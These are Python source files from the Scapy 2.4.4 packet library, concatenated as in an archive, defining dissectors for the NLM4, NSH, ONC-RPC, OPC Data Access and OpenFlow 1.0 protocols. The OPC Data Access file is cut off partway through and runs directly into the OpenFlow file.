PacketField('caller', Object_Name(), Object_Name), PacketField('filehandle', File_Object(), File_Object), PacketField('owner', Object_Name(), Object_Name), IntField('mode', 0), IntField('access', 0), IntEnumField('reclaim', 0, {0: 'NO', 1: 'YES'}) ] class UNSHARE_Reply(Packet): name = 'UNSHARE Reply' fields_desc = [ PacketField('cookie', NLM4_Cookie(), NLM4_Cookie), IntEnumField('status', 0, nlm4_stats), IntField('sequence', 0) ] bind_layers( RPC_Call, UNSHARE_Call, program=100021, pversion=4, procedure=21 ) bind_layers(RPC, UNSHARE_Call, mtype=0) bind_layers(RPC, UNSHARE_Reply, mtype=1) class LOCK_Call(Packet): name = 'LOCK Call' fields_desc = [ PacketField('cookie', NLM4_Cookie(), NLM4_Cookie), IntEnumField('block', 0, {0: 'NO', 1: 'YES'}), IntEnumField('exclusive', 0, {0: 'NO', 1: 'YES'}), PacketField('caller', Object_Name(), Object_Name), PacketField('filehandle', File_Object(), File_Object), PacketField('owner', Object_Name(), Object_Name), IntField('svid', 0), LongField('l_offset', 0), LongField('l_len', 0), IntField('reclaim', 0), IntField('state', 0) ] class LOCK_Reply(Packet): name = 'LOCK Reply' fields_desc = [ PacketField('cookie', NLM4_Cookie(), NLM4_Cookie), IntEnumField('status', 0, nlm4_stats) ] bind_layers(RPC_Call, LOCK_Call, program=100021, pversion=4, procedure=2) bind_layers(RPC, LOCK_Call, mtype=0) bind_layers(RPC, LOCK_Reply, mtype=1) class UNLOCK_Call(Packet): name = 'UNLOCK Call' fields_desc = [ PacketField('cookie', NLM4_Cookie(), NLM4_Cookie), PacketField('caller', Object_Name(), Object_Name), PacketField('filehandle', File_Object(), File_Object), PacketField('owner', Object_Name(), Object_Name), IntField('svid', 0), LongField('l_offset', 0), LongField('l_len', 0) ] class UNLOCK_Reply(Packet): name = 'UNLOCK Reply' fields_desc = [ PacketField('cookie', NLM4_Cookie(), NLM4_Cookie), IntEnumField('status', 0, nlm4_stats) ] bind_layers(RPC_Call, UNLOCK_Call, program=100021, pversion=4, procedure=4) bind_layers(RPC, UNLOCK_Call, mtype=0) bind_layers(RPC, UNLOCK_Reply, mtype=1) class GRANTED_MSG_Call(Packet): name = 'GRANTED_MSG Call' fields_desc = [ PacketField('cookie', NLM4_Cookie(), NLM4_Cookie), IntEnumField('exclusive', 0, {0: 'NO', 1: 'YES'}), PacketField('caller', Object_Name(), Object_Name), PacketField('filehandle', File_Object(), File_Object), PacketField('owner', Object_Name(), Object_Name), IntField('svid', 0), LongField('l_offset', 0), LongField('l_len', 0) ] class GRANTED_MSG_Reply(Packet): name = 'GRANTED_MSG Reply' fields_desc = [] bind_layers( RPC_Call, GRANTED_MSG_Call, program=100021, pversion=4, procedure=10 ) bind_layers(RPC, GRANTED_MSG_Call, mtype=0) bind_layers(RPC, GRANTED_MSG_Reply, mtype=1) class GRANTED_RES_Call(Packet): name = 'GRANTED_RES Call' fields_desc = [ PacketField('cookie', NLM4_Cookie(), NLM4_Cookie), IntEnumField('status', 0, nlm4_stats) ] class GRANTED_RES_Reply(Packet): name = 'GRANTED_RES Reply' fields_desc = [] bind_layers( RPC_Call, GRANTED_RES_Call, program=100021, pversion=4, procedure=15 ) bind_layers(RPC, GRANTED_RES_Call, mtype=0) bind_layers(RPC, GRANTED_RES_Reply, mtype=1) class CANCEL_Call(Packet): name = 'CANCEL Call' fields_desc = [ PacketField('cookie', NLM4_Cookie(), NLM4_Cookie), IntEnumField('block', 0, {0: 'NO', 1: 'YES'}), IntEnumField('exclusive', 0, {0: 'NO', 1: 'YES'}), PacketField('caller', Object_Name(), Object_Name), PacketField('filehandle', File_Object(), File_Object), PacketField('owner', Object_Name(), Object_Name), IntField('svid', 0), LongField('l_offset', 0), LongField('l_len', 0) ] class CANCEL_Reply(Packet): name = 'CANCEL Reply' fields_desc = [ PacketField('cookie', NLM4_Cookie(), NLM4_Cookie), IntEnumField('status', 0, nlm4_stats) ] bind_layers(RPC_Call, CANCEL_Call, program=100021, pversion=4, procedure=3) bind_layers(RPC, CANCEL_Call, mtype=0) bind_layers(RPC, CANCEL_Reply, mtype=1) class TEST_Call(Packet): name = 'TEST Call' fields_desc = [ PacketField('cookie', NLM4_Cookie(), NLM4_Cookie), IntEnumField('exclusive', 0, {0: 'NO', 1: 'YES'}), PacketField('caller', Object_Name(), Object_Name), PacketField('filehandle', File_Object(), File_Object), PacketField('owner', Object_Name(), Object_Name), IntField('svid', 0), LongField('l_offset', 0), LongField('l_len', 0) ] class TEST_Reply(Packet): name = 'TEST Reply' fields_desc = [ PacketField('cookie', NLM4_Cookie(), NLM4_Cookie), IntEnumField('status', 0, nlm4_stats) ] bind_layers(RPC_Call, TEST_Call, program=100021, pversion=4, procedure=1) bind_layers(RPC, TEST_Call, mtype=0) bind_layers(RPC, TEST_Reply, mtype=1) scapy-2.4.4/scapy/contrib/nsh.py000066400000000000000000000066611372370053500165770ustar00rootroot00000000000000# This file is part of Scapy # Scapy is free software: you can redistribute it and/or modify # it under the terms of the GNU General Public License as published by # the Free Software Foundation, either version 2 of the License, or # any later version. # # Scapy is distributed in the hope that it will be useful, # but WITHOUT ANY WARRANTY; without even the implied warranty of # MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the # GNU General Public License for more details. # # You should have received a copy of the GNU General Public License # along with Scapy. If not, see . # scapy.contrib.description = Network Services Headers (NSH) # scapy.contrib.status = loads from scapy.all import bind_layers from scapy.fields import BitField, ByteField, ByteEnumField, BitEnumField, \ ShortField, X3BytesField, XIntField, XStrFixedLenField, \ ConditionalField, PacketListField, BitFieldLenField from scapy.layers.inet import Ether, IP from scapy.layers.inet6 import IPv6 from scapy.layers.vxlan import VXLAN from scapy.packet import Packet from scapy.layers.l2 import GRE from scapy.contrib.mpls import MPLS # # NSH Support # https://www.rfc-editor.org/rfc/rfc8300.txt January 2018 # class NSHTLV(Packet): "NSH MD-type 2 - Variable Length Context Headers" name = "NSHTLV" fields_desc = [ ShortField('class', 0), BitField('type', 0, 8), BitField('reserved', 0, 1), BitField('length', 0, 7), PacketListField('metadata', None, XIntField, count_from='length') ] class NSH(Packet): """Network Service Header. NSH MD-type 1 if there is no ContextHeaders""" name = "NSH" fields_desc = [ BitField('ver', 0, 2), BitField('oam', 0, 1), BitField('unused1', 0, 1), BitField('ttl', 63, 6), BitFieldLenField('length', None, 6, count_of='vlch', adjust=lambda pkt, x: 6 if pkt.mdtype == 1 else x + 2), BitField('unused2', 0, 4), BitEnumField('mdtype', 1, 4, {0: 'Reserved MDType', 1: 'Fixed Length', 2: 'Variable Length', 0xF: 'Experimental MDType'}), ByteEnumField('nextproto', 3, {1: 'IPv4', 2: 'IPv6', 3: 'Ethernet', 4: 'NSH', 5: 'MPLS', 0xFE: 'Experiment 1', 0xFF: 'Experiment 2'}), X3BytesField('spi', 0), ByteField('si', 0xFF), ConditionalField(XStrFixedLenField("context_header", "", 16), lambda pkt: pkt.mdtype == 1), ConditionalField(PacketListField("vlch", None, NSHTLV, count_from="length"), lambda pkt: pkt.mdtype == 2) ] def mysummary(self): return self.sprintf("SPI: %spi% - SI: %si%") bind_layers(Ether, NSH, {'type': 0x894F}, type=0x894F) bind_layers(VXLAN, NSH, {'flags': 0xC, 'nextproto': 4}, nextproto=4) bind_layers(GRE, NSH, {'proto': 0x894F}, proto=0x894F) bind_layers(NSH, IP, nextproto=1) bind_layers(NSH, IPv6, nextproto=2) bind_layers(NSH, Ether, nextproto=3) bind_layers(NSH, NSH, nextproto=4) bind_layers(NSH, MPLS, nextproto=5) scapy-2.4.4/scapy/contrib/oncrpc.py000066400000000000000000000114421372370053500172640ustar00rootroot00000000000000# This file is part of Scapy # See http://www.secdev.org/projects/scapy for more information # Copyright (C) Lucas Preston # This program is published under a GPLv2 license # scapy.contrib.description = ONC-RPC v2 # scapy.contrib.status = loads from scapy.fields import XIntField, IntField, IntEnumField, StrLenField, \ FieldListField, ConditionalField, PacketField from scapy.packet import Packet, bind_layers import struct class Object_Name(Packet): name = 'Object Name' fields_desc = [ IntField('length', 0), StrLenField('_name', '', length_from=lambda pkt: pkt.length), StrLenField('fill', '', length_from=lambda pkt: (4 - pkt.length) % 4) ] def set(self, name, length=None, fill=None): if length is None: length = len(name) if fill is None: fill = b'\x00' * ((4 - len(name)) % 4) self.length = length self._name = name self.fill = fill def extract_padding(self, s): return '', s class RM_Header(Packet): name = 'RM Header' fields_desc = [ XIntField('rm', None) ] def post_build(self, pkt, pay): """Override of post_build to set the rm header == len(payload)""" if self.rm is None: new_rm = 0x80000000 + len(self.payload) pkt = struct.pack('!I', new_rm) return Packet.post_build(self, pkt, pay) class RPC(Packet): name = 'RPC' fields_desc = [ XIntField('xid', 0), IntEnumField('mtype', 0, {0: 'CALL', 1: 'REPLY'}), ] class Auth_Unix(Packet): name = 'AUTH Unix' fields_desc = [ XIntField('stamp', 0), PacketField('mname', Object_Name(), Object_Name), IntField('uid', 0), IntField('gid', 0), IntField('num_auxgids', 0), FieldListField( 'auxgids', [], IntField('', None), count_from=lambda pkt: pkt.num_auxgids ) ] def extract_padding(self, s): return '', s class RPC_Call(Packet): name = 'RPC Call' fields_desc = [ IntField('version', 2), IntField('program', 100003), IntField('pversion', 3), IntField('procedure', 0), IntEnumField('aflavor', 1, {0: 'AUTH_NULL', 1: 'AUTH_UNIX'}), IntField('alength', None), ConditionalField( PacketField('a_unix', Auth_Unix(), Auth_Unix), lambda pkt: pkt.aflavor == 1 ), IntEnumField('vflavor', 0, {0: 'AUTH_NULL', 1: 'AUTH_UNIX'}), IntField('vlength', None), ConditionalField( PacketField('v_unix', Auth_Unix(), Auth_Unix), lambda pkt: pkt.vflavor == 1 ) ] def set_auth(self, **kwargs): """Used to easily set the fields in an a_unix packet""" if kwargs is None: return if 'mname' in kwargs: self.a_unix.mname.set(kwargs['mname']) del kwargs['mname'] for arg, val in kwargs.items(): if hasattr(self.a_unix, arg): setattr(self.a_unix, arg, val) self.alength = 0 if self.aflavor == 0 else len(self.a_unix) self.vlength = 0 if self.vflavor == 0 else len(self.v_unix) def post_build(self, pkt, pay): """Override of post_build to handle length fields""" if self.aflavor == 0 and self.vflavor == 0: # No work required if there are no auth fields, # default will be correct return Packet.post_build(self, pkt, pay) if self.aflavor != 0 and self.alength is None: pkt = pkt[:20] \ + struct.pack('!I', len(self.a_unix)) \ + pkt[24:] return Packet.post_build(self, pkt, pay) if self.vflavor != 0 and self.vlength is None: pkt = pkt[:28] \ + struct.pack('!I', len(self.v_unix)) \ + pkt[32:] return Packet.post_build(self, pkt, pay) class RPC_Reply(Packet): name = 'RPC Response' fields_desc = [ IntField('reply_stat', 0), IntEnumField('flavor', 0, {0: 'AUTH_NULL', 1: 'AUTH_UNIX'}), ConditionalField( PacketField('a_unix', Auth_Unix(), Auth_Unix), lambda pkt: pkt.flavor == 1 ), IntField('length', 0), IntField('accept_stat', 0) ] def set_auth(self, **kwargs): """Used to easily set the fields in an a_unix packet""" if kwargs is None: return if 'mname' in kwargs: self.a_unix.mname.set(kwargs['mname']) del kwargs['mname'] for arg, val in kwargs.items(): if hasattr(self.a_unix, arg): setattr(self.a_unix, arg, val) self.length = 0 if self.flavor == 0 else len(self.a_unix) bind_layers(RPC, RPC_Call, mtype=0) bind_layers(RPC, RPC_Reply, mtype=1) scapy-2.4.4/scapy/contrib/opc_da.py000066400000000000000000001340501372370053500172260ustar00rootroot00000000000000# coding: utf8 # This file is part of Scapy # Scapy is free software: you can redistribute it and/or modify # it under the terms of the GNU General Public License as published by # the Free Software FounDation, either version 2 of the License, or # any later version. # # Scapy is distributed in the hope that it will be useful, # but WITHOUT ANY WARRANTY; without even the implied warranty of # MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the # GNU General Public License for more details. # # You should have received a copy of the GNU General Public License # along with Scapy. If not, see . # Copyright (C) # @Author: GuillaumeF # @Email: guillaume4favre@gmail.com # @Date: 2016-10-18 # @Last modified by: GuillaumeF # @Last modified by: Sebastien Mainand # @Last modified time: 2016-12-08 11:16:27 # @Last modified time: 2017-07-05 # scapy.contrib.description = OPC Data Access # scapy.contrib.status = loads """ Opc Data Access. References: Data Access Custom Interface StanDard Using the website: http://pubs.opengroup.org/onlinepubs/9629399/chap12.htm DCOM Remote Protocol. References: Specifies Distributed Component Object Model (DCOM) Remote Protocol Using the website: https://msdn.microsoft.com/en-us/library/cc226801.aspx """ from scapy.config import conf from scapy.fields import Field, ByteField, ShortField, LEShortField, \ IntField, LEIntField, LongField, LELongField, StrField, StrLenField, \ StrFixedLenField, BitEnumField, ByteEnumField, ShortEnumField, \ LEShortEnumField, IntEnumField, LEIntEnumField, FieldLenField, \ LEFieldLenField, PacketField, PacketListField, PacketLenField, \ ConditionalField, FlagsField, UUIDField from scapy.packet import Packet # Defined values _tagOPCDataSource = { 1: "OPC_DS_CACHE", 2: "OPC_DS_DEVICE" } _tagOPCBrowseType = { 1: "OPC_BRANCH", 2: "OPC_LEAF", 3: "OPC_FLAT" } _tagOPCNameSpaceType = { 1: "OPC_NS_HIERARCHIAL", 2: "OPC_NS_FLAT" } _tagOPCBrowseDirection = { 1: "OPC_BROWSE_UP", 2: "OPC_BROWSE_DOWN", 3: "OPC_BROWSE_TO" } _tagOPCEuType = { 0: "OPC_NOENUM", 1: "OPC_ANALOG", 2: "OPC_ENUMERATED" } _tagOPCServerState = { 1: "OPC_STATUS_RUNNING", 2: "OPC_STATUS_FAILED", 3: "OPC_STATUS_NOCONFIG", 4: "OPC_STATUS_SUSPENDED", 5: "OPC_STATUS_TEST", 6: "OPC_STATUS_COMM_FAULT" } _tagOPCEnumScope = { 1: "OPC_ENUM_PRIVATE_CONNECTIONS", 2: "OPC_ENUM_PUBLIC_CONNECTIONS", 3: "OPC_ENUM_ALL_CONNECTIONS", 4: "OPC_ENUM_PRIVATE", 5: "OPC_ENUM_PUBLIC", 6: "OPC_ENUM_ALL" } _pfc_flags = [ "firstFragment", # First fragment "lastFragment", # Last fragment "pendingCancel", # Cancel was pending at sender "reserved", # "concurrentMultiplexing", # supports concurrent multiplexing # of a single connection "didNotExecute", # only meaningful on `fault' packet if true, # guaranteed call did not execute "maybe", # `maybe' call semantics requested "objectUuid" # if true, a non-nil object UUID was specified # in the handle, and is present in the optional # object field. If false, the object field # is omitted ] _faultStatus = { 382312475: 'rpc_s_fault_object_not_found', 382312497: 'rpc_s_call_cancelled', 382312564: 'rpc_s_fault_addr_error', 382312565: 'rpc_s_fault_context_mismatch', 382312566: 'rpc_s_fault_fp_div_by_zero', 382312567: 'rpc_s_fault_fp_error', 382312568: 'rpc_s_fault_fp_overflow', 382312569: 'rpc_s_fault_fp_underflow', 382312570: 'rpc_s_fault_ill_inst', 382312571: 'rpc_s_fault_int_div_by_zero', 382312572: 'rpc_s_fault_int_overflow', 382312573: 'rpc_s_fault_invalid_bound', 382312574: 'rpc_s_fault_invalid_tag', 382312575: 'rpc_s_fault_pipe_closed', 382312576: 'rpc_s_fault_pipe_comm_error', 382312577: 'rpc_s_fault_pipe_discipline', 382312578: 'rpc_s_fault_pipe_empty', 382312579: 'rpc_s_fault_pipe_memory', 382312580: 'rpc_s_fault_pipe_order', 382312582: 'rpc_s_fault_remote_no_memory', 382312583: 'rpc_s_fault_unspec', 382312723: 'rpc_s_fault_user_defined', 382312726: 'rpc_s_fault_tx_open_failed', 382312814: 'rpc_s_fault_codeset_conv_error', 382312816: 'rpc_s_fault_no_client_stub', 469762049: 'nca_s_fault_int_div_by_zero', 469762050: 'nca_s_fault_addr_error', 469762051: 'nca_s_fault_fp_div_zero', 469762052: 'nca_s_fault_fp_underflow', 469762053: 'nca_s_fault_fp_overflow', 469762054: 'nca_s_fault_invalid_tag', 469762055: 'nca_s_fault_invalid_bound', 469762061: 'nca_s_fault_cancel', 469762062: 'nca_s_fault_ill_inst', 469762063: 'nca_s_fault_fp_error', 469762064: 'nca_s_fault_int_overflow', 469762068: 'nca_s_fault_pipe_empty', 469762069: 'nca_s_fault_pipe_closed', 469762070: 'nca_s_fault_pipe_order', 469762071: 'nca_s_fault_pipe_discipline', 469762072: 'nca_s_fault_pipe_comm_error', 469762073: 'nca_s_fault_pipe_memory', 469762074: 'nca_s_fault_context_mismatch', 469762075: 'nca_s_fault_remote_no_memory', 469762081: 'ncs_s_fault_user_defined', 469762082: 'nca_s_fault_tx_open_failed', 469762083: 'nca_s_fault_codeset_conv_error', 469762084: 'nca_s_fault_object_not_found', 469762085: 'nca_s_fault_no_client_stub', } _defResult = { 0: 'ACCEPTANCE', 1: 'USER_REJECTION', 2: 'PROVIDER_REJECTION', } _defReason = { 0: 'REASON_NOT_SPECIFIED', 1: 'ABSTRACT_SYNTAX_NOT_SUPPORTED', 2: 'PROPOSED_TRANSFER_SYNTAXES_NOT_SUPPORTED', 3: 'LOCAL_LIMIT_EXCEEDED', } _rejectBindNack = { 0: 'REASON_NOT_SPECIFIED', 1: 'TEMPORARY_CONGESTION', 2: 'LOCAL_LIMIT_EXCEEDED', 3: 'CALLED_PADDR_UNKNOWN', 4: 'PROTOCOL_VERSION_NOT_SUPPORTED', 5: 'DEFAULT_CONTEXT_NOT_SUPPORTED', 6: 'USER_DATA_NOT_READABLE', 7: 'NO_PSAP_AVAILABLE' } _rejectStatus = { 469762056: 'nca_rpc_version_mismatch', 469762057: 'nca_unspec_reject', 469762058: 'nca_s_bad_actid', 469762059: 'nca_who_are_you_failed', 469762060: 'nca_manager_not_entered', 469827586: 'nca_op_rng_error', 469827587: 'nca_unk_if', 469827590: 'nca_wrong_boot_time', 469827593: 'nca_s_you_crashed', 469827595: 'nca_proto_error', 469827603: 'nca_out_args_too_big', 469827604: 'nca_server_too_busy', 469827607: 'nca_unsupported_type', 469762076: 'nca_invalid_pres_context_id', 469762077: 'nca_unsupported_authn_level', 469762079: 'nca_invalid_checksum', 469762080: 'nca_invalid_crc' } _pduType = { 0: "REQUEST", 1: "PING", 2: "RESPONSE", 3: "FAULT", 4: "WORKING", 5: "NOCALL", 6: "REJECT", 7: "ACK", 8: "CI_CANCEL", 9: "FACK", 10: "CANCEL_ACK", 11: "BIND", 12: "BIND_ACK", 13: "BIND_NACK", 14: "ALTER_CONTEXT", 15: "ALTER_CONTEXT_RESP", 17: "SHUTDOWN", 18: "CO_CANCEL", 19: "ORPHANED", # Not documented 16: "Auth3", } _authentification_protocol = { 0: 'None', 1: 'OsfDcePrivateKeyAuthentication', } # Sub class for dissection class AuthentificationProtocol(Packet): name = 'authentificationProtocol' def extract_padding(self, p): return b"", p def guess_payload_class(self, payload): if self.underlayer and hasattr(self.underlayer, "auth_length"): auth_length = self.underlayer.auth_length if auth_length != 0: try: return _authentification_protocol[auth_length] except Exception: pass return conf.raw_layer class OsfDcePrivateKeyAuthentification(Packet): name = "OsfDcePrivateKeyAuthentication" # TODO def extract_padding(self, p): return b"", p class OPCHandle(Packet): def __init__(self, name, default): Field.__init__(self, name, default, "16s") def extract_padding(self, p): return b"", p class LenStringPacket(Packet): name = "len string packet" fields_desc = [ FieldLenField('length', 0, length_of='data', fmt="H"), ConditionalField(StrLenField('data', None, length_from=lambda pkt:pkt.length + 2), lambda pkt:pkt.length == 0), ConditionalField(StrLenField('data', '', length_from=lambda pkt:pkt.length), lambda pkt:pkt.length != 0), ] def extract_padding(self, p): return b"", p class LenStringPacketLE(Packet): name = "len string packet" fields_desc = [ LEFieldLenField('length', 0, length_of='data', fmt=" # This program is published under a GPLv2 license # Copyright (C) 2014 Maxence Tury # OpenFlow is an open standard used in SDN deployments. # Based on OpenFlow v1.0.1 # Specifications can be retrieved from https://www.opennetworking.org/ # scapy.contrib.description = Openflow v1.0 # scapy.contrib.status = loads from __future__ import absolute_import import struct from scapy.compat import chb, orb, raw from scapy.config import conf from scapy.error import warning from scapy.fields import BitEnumField, BitField, ByteEnumField, ByteField, FieldLenField, FlagsField, IntEnumField, IntField, IPField, LongField, MACField, PacketField, PacketListField, ShortEnumField, ShortField, StrFixedLenField, X3BytesField, XBitField, XByteField, XIntField, XShortField # noqa: E501 from scapy.layers.l2 import Ether from scapy.layers.inet import TCP from scapy.packet import Packet, Raw, bind_bottom_up, bind_top_down from scapy.utils import binrepr from scapy.modules import six # If prereq_autocomplete is True then match prerequisites will be # automatically handled. See OFPMatch class. conf.contribs['OPENFLOW'] = {'prereq_autocomplete': True} ##################################################### # Predefined values # ##################################################### ofp_port_no = {0xfff8: "IN_PORT", 0xfff9: "TABLE", 0xfffa: "NORMAL", 0xfffb: "FLOOD", 0xfffc: "ALL", 0xfffd: "CONTROLLER", 0xfffe: "LOCAL", 0xffff: "NONE"} ofp_table = {0xff: "ALL"} ofp_queue = {0xffffffff: "ALL"} ofp_buffer = {0xffffffff: "NO_BUFFER"} ofp_max_len = {0xffff: "NO_BUFFER"} ##################################################### # Common structures # ##################################################### # The following structures will be used in different types # of OpenFlow messages: ports, matches, actions, queues. # Ports # ofp_port_config = ["PORT_DOWN", "NO_STP", "NO_RECV", "NO_RECV_STP", "NO_FLOOD", "NO_FWD", "NO_PACKET_IN"] ofp_port_state = ["LINK_DOWN"] ofp_port_state_stp = {0: "OFPPS_STP_LISTEN", 1: "OFPPS_STP_LEARN", 2: "OFPPS_STP_FORWARD", 3: "OFPPS_STP_BLOCK"} ofp_port_features = ["10MB_HD", "10MB_FD", "100MB_HD", "100MB_FD", "1GB_HD", "1GB_FD", "10GB_FD", "COPPER", "FIBER", "AUTONEG", "PAUSE", "PAUSE_ASYM"] class OFPPhyPort(Packet): name = "OFP_PHY_PORT" fields_desc = [ShortEnumField("port_no", 0, ofp_port_no), MACField("hw_addr", "0"), StrFixedLenField("port_name", "", 16), FlagsField("config", 0, 32, ofp_port_config), BitEnumField("stp_state", 0, 24, ofp_port_state), FlagsField("state", 0, 8, ofp_port_state), FlagsField("curr", 0, 32, ofp_port_features), FlagsField("advertised", 0, 32, ofp_port_features), FlagsField("supported", 0, 32, ofp_port_features), FlagsField("peer", 0, 32, ofp_port_features)] def extract_padding(self, s): return b"", s class OFPMatch(Packet): name = "OFP_MATCH" fields_desc = [FlagsField("wildcards1", None, 12, ["DL_VLAN_PCP", "NW_TOS"]), BitField("nw_dst_mask", None, 6), BitField("nw_src_mask", None, 6), FlagsField("wildcards2", None, 8, ["IN_PORT", "DL_VLAN", "DL_SRC", "DL_DST", "DL_TYPE", "NW_PROTO", "TP_SRC", "TP_DST"]), ShortEnumField("in_port", None, ofp_port_no), MACField("dl_src", None), MACField("dl_dst", None), ShortField("dl_vlan", None), ByteField("dl_vlan_pcp", None), XByteField("pad1", None), ShortField("dl_type", None), ByteField("nw_tos", None), ByteField("nw_proto", None), XShortField("pad2", None), IPField("nw_src", "0"), IPField("nw_dst", "0"), ShortField("tp_src", None), ShortField("tp_dst", None)] def extract_padding(self, s): return b"", s # with post_build we create the wildcards field bit by bit def post_build(self, p, pay): # first 10 bits of an ofp_match are always set to 0 lst_bits = "0" * 10 # when one field has not been declared, it is assumed to be wildcarded if self.wildcards1 is None: if self.nw_tos is None: lst_bits += "1" else: lst_bits += "0" if self.dl_vlan_pcp is None: lst_bits += "1" else: lst_bits += "0" else: w1 = binrepr(self.wildcards1) lst_bits += "0" * (2 - len(w1)) lst_bits += w1 # ip masks use 6 bits each if self.nw_dst_mask is None: if self.nw_dst == "0": lst_bits += "111111" # 0x100000 would be ok too (32-bit IP mask) else: lst_bits += "0" * 6 else: m1 = binrepr(self.nw_dst_mask) lst_bits += "0" * (6 - len(m1)) lst_bits += m1 if self.nw_src_mask is None: if self.nw_src == "0": lst_bits += "111111" else: lst_bits += "0" * 6 else: m2 = binrepr(self.nw_src_mask) lst_bits += "0" * (6 - len(m2)) lst_bits += m2 # wildcards2 works the same way as wildcards1 if self.wildcards2 is None: if self.tp_dst is None: lst_bits += "1" else: lst_bits += "0" if self.tp_src is None: lst_bits += "1" else: lst_bits += "0" if self.nw_proto is None: lst_bits += "1" else: lst_bits += "0" if self.dl_type is None: lst_bits += "1" else: lst_bits += "0" if self.dl_dst is None: lst_bits += "1" else: lst_bits += "0" if self.dl_src is None: lst_bits += "1" else: lst_bits += "0" if self.dl_vlan is None: lst_bits += "1" else: lst_bits += "0" if self.in_port is None: lst_bits += "1" else: lst_bits += "0" else: w2 = binrepr(self.wildcards2) lst_bits += "0" * (8 - len(w2)) lst_bits += w2 # In order to write OFPMatch compliant with the specifications, # if prereq_autocomplete has been set to True # we assume ethertype=IP or nwproto=TCP when appropriate subfields are provided. # noqa: E501 if conf.contribs['OPENFLOW']['prereq_autocomplete']: if self.dl_type is None: if self.nw_src != "0" or self.nw_dst != "0" or \ self.nw_proto is not None or self.nw_tos is not None: p = p[:22] + struct.pack("!H", 0x0800) + p[24:] lst_bits = lst_bits[:-5] + "0" + lst_bits[-4:] if self.nw_proto is None: if self.tp_src is not None or self.tp_dst is not None: p = p[:22] + struct.pack("!H", 0x0800) + p[24:] lst_bits = lst_bits[:-5] + "0" + lst_bits[-4:] p = p[:25] + struct.pack("!B", 0x06) + p[26:] lst_bits = lst_bits[:-6] + "0" + lst_bits[-5:] ins = b"".join(chb(int("".join(x), 2)) for x in zip(*[iter(lst_bits)] * 8)) # noqa: E501 p = ins + p[4:] return p + pay class _ofp_header(Packet): name = "Dummy OpenFlow Header for some lower layers" def post_build(self, p, pay): if self.len is None: tmp_len = len(p) + len(pay) p = p[:2] + struct.pack("!H", tmp_len) + p[4:] return p + pay class _ofp_header_item(Packet): name = "Dummy OpenFlow Header for items layers" def post_build(self, p, pay): if self.len is None: tmp_len = len(p) + len(pay) p = struct.pack("!H", tmp_len) + p[2:] return p + pay # Actions # class _UnknownOpenFlow(Raw): name = "Unknown OpenFlow packet" class OpenFlow(_ofp_header): name = "OpenFlow dissector" @classmethod def dispatch_hook(cls, _pkt=None, *args, **kargs): if _pkt and len(_pkt) >= 2: version = orb(_pkt[0]) if version == 0x04: # OpenFlow 1.3 from scapy.contrib.openflow3 import OpenFlow3 return OpenFlow3.dispatch_hook(_pkt, *args, **kargs) elif version == 0x01: # OpenFlow 1.0 # port 6653 has been allocated by IANA, port 6633 should no # longer be used # OpenFlow function may be called with a None # self in OFPPacketField of_type = orb(_pkt[1]) if of_type == 1: err_type = orb(_pkt[9]) # err_type is a short int, but last byte is enough if err_type == 255: err_type = 65535 return ofp_error_cls[err_type] elif of_type == 16: mp_type = orb(_pkt[9]) if mp_type == 255: mp_type = 65535 return ofp_stats_request_cls[mp_type] elif of_type == 17: mp_type = orb(_pkt[9]) if mp_type == 255: mp_type = 65535 return ofp_stats_reply_cls[mp_type] else: return ofpt_cls[of_type] else: warning("Unknown OpenFlow packet") return _UnknownOpenFlow ofp_action_types = {0: "OFPAT_OUTPUT", 1: "OFPAT_SET_VLAN_VID", 2: "OFPAT_SET_VLAN_PCP", 3: "OFPAT_STRIP_VLAN", 4: "OFPAT_SET_DL_SRC", 5: "OFPAT_SET_DL_DST", 6: "OFPAT_SET_NW_SRC", 7: "OFPAT_SET_NW_DST", 8: "OFPAT_SET_NW_TOS", 9: "OFPAT_SET_TP_SRC", 10: "OFPAT_SET_TP_DST", 11: "OFPAT_ENQUEUE", 65535: "OFPAT_VENDOR"} class OFPATOutput(OpenFlow): name = "OFPAT_OUTPUT" fields_desc = [ShortEnumField("type", 0, ofp_action_types), ShortField("len", 8), ShortEnumField("port", 0, ofp_port_no), ShortEnumField("max_len", "NO_BUFFER", ofp_max_len)] class OFPATSetVLANVID(OpenFlow): name = "OFPAT_SET_VLAN_VID" fields_desc = [ShortEnumField("type", 1, ofp_action_types), ShortField("len", 8), ShortField("vlan_vid", 0), XShortField("pad", 0)] class OFPATSetVLANPCP(OpenFlow): name = "OFPAT_SET_VLAN_PCP" fields_desc = [ShortEnumField("type", 2, ofp_action_types), ShortField("len", 8), ByteField("vlan_pcp", 0), X3BytesField("pad", 0)] class OFPATStripVLAN(OpenFlow): name = "OFPAT_STRIP_VLAN" fields_desc = [ShortEnumField("type", 3, ofp_action_types), ShortField("len", 8), XIntField("pad", 0)] class OFPATSetDlSrc(OpenFlow): name = "OFPAT_SET_DL_SRC" fields_desc = [ShortEnumField("type", 4, ofp_action_types), ShortField("len", 16), MACField("dl_addr", "0"), XBitField("pad", 0, 48)] class OFPATSetDlDst(OpenFlow): name = "OFPAT_SET_DL_DST" fields_desc = [ShortEnumField("type", 5, ofp_action_types), ShortField("len", 16), MACField("dl_addr", "0"), XBitField("pad", 0, 48)] class OFPATSetNwSrc(OpenFlow): name = "OFPAT_SET_NW_SRC" fields_desc = [ShortEnumField("type", 6, ofp_action_types), ShortField("len", 8), IPField("nw_addr", "0")] class OFPATSetNwDst(OpenFlow): name = "OFPAT_SET_NW_DST" fields_desc = [ShortEnumField("type", 7, ofp_action_types), ShortField("len", 8), IPField("nw_addr", "0")] class OFPATSetNwToS(OpenFlow): name = "OFPAT_SET_TP_TOS" fields_desc = [ShortEnumField("type", 8, ofp_action_types), ShortField("len", 8), ByteField("nw_tos", 0), X3BytesField("pad", 0)] class OFPATSetTpSrc(OpenFlow): name = "OFPAT_SET_TP_SRC" fields_desc = [ShortEnumField("type", 9, ofp_action_types), ShortField("len", 8), ShortField("tp_port", 0), XShortField("pad", 0)] class OFPATSetTpDst(OpenFlow): name = "OFPAT_SET_TP_DST" fields_desc = [ShortEnumField("type", 10, ofp_action_types), ShortField("len", 8), ShortField("tp_port", 0), XShortField("pad", 0)] class OFPATEnqueue(OpenFlow): name = "OFPAT_ENQUEUE" fields_desc = [ShortEnumField("type", 11, ofp_action_types), ShortField("len", 16), ShortEnumField("port", 0, ofp_port_no), XBitField("pad", 0, 48), IntField("queue_id", 0)] class OFPATVendor(OpenFlow): name = "OFPAT_VENDOR" fields_desc = [ShortEnumField("type", 65535, ofp_action_types), ShortField("len", 8), 